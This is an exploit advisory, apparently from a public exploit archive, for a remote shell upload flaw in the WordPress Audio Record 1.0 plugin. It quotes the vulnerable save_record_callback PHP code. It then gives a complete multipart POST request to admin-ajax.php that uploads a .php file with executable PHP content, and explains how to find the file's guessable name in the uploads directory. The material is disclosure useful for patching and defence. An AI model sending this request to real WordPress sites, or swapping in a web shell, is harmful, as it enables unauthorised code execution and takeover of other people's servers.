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WordPress Audio Record 1.0 Shell Upload

WordPress Audio Record 1.0 Shell Upload
Posted Dec 25, 2018
Authored by Kaimi

WordPress Audio Record plugin version 1.0 suffers from a remote shell upload vulnerability.

tags | exploit, remote, shell
SHA-256 | 3f941b04b950615e9f7156e1028bb4a7d93b3f72d9855a75ddabdc7b57256253

WordPress Audio Record 1.0 Shell Upload

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# Exploit Title: WordPress Plugin Audio Record 1.0 - Arbitrary File Upload
# Date: 2018-12-24
# Software Link: https://wordpress.org/plugins/audio-record/
# Exploit Author: Kaimi
# Website: https://kaimi.io
# Version: 1.0
# Category: webapps

# Unrestricted file upload in record upload process allowing arbitrary extension.
# File: recorder.php
# Vulnerable code:
function save_record_callback() {

foreach(array('audio') as $type) {
if (isset($_FILES["${type}-blob"])) {

$fileName = uniqid() . '_' .$_POST["${type}-filename"] ;
$path_array = wp_upload_dir();
$path = str_replace('\\', '/', $path_array['path']);
$uploadDirectory = $path . "/$fileName";
if (!move_uploaded_file($_FILES["${type}-blob"]["tmp_name"], $uploadDirectory)) {
echo 000;
wp_die("problem moving uploaded file");
}


# Exploitation example:

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: example.com
Content-Type: multipart/form-data; boundary=---------------------------18311719029180117571501079851
...
-----------------------------18311719029180117571501079851
Content-Disposition: form-data; name="audio-filename"

file.php
-----------------------------18311719029180117571501079851
Content-Disposition: form-data; name="audio-blob"; filename="blob"
Content-Type: audio/wav

<?php phpinfo();
-----------------------------18311719029180117571501079851
Content-Disposition: form-data; name="action"

save_record
-----------------------------18311719029180117571501079851
Content-Disposition: form-data; name="course_id"

undefined
-----------------------------18311719029180117571501079851
Content-Disposition: form-data; name="unit_id"

undefined
-----------------------------18311719029180117571501079851--

# Uploaded file will be located at standard WordPress media upload directory (for ex: /wp-content/uploads/year/month/).
# If directory listing is disabled - file name can be guessed due to cryptographically insecure nature of uniqid() call.


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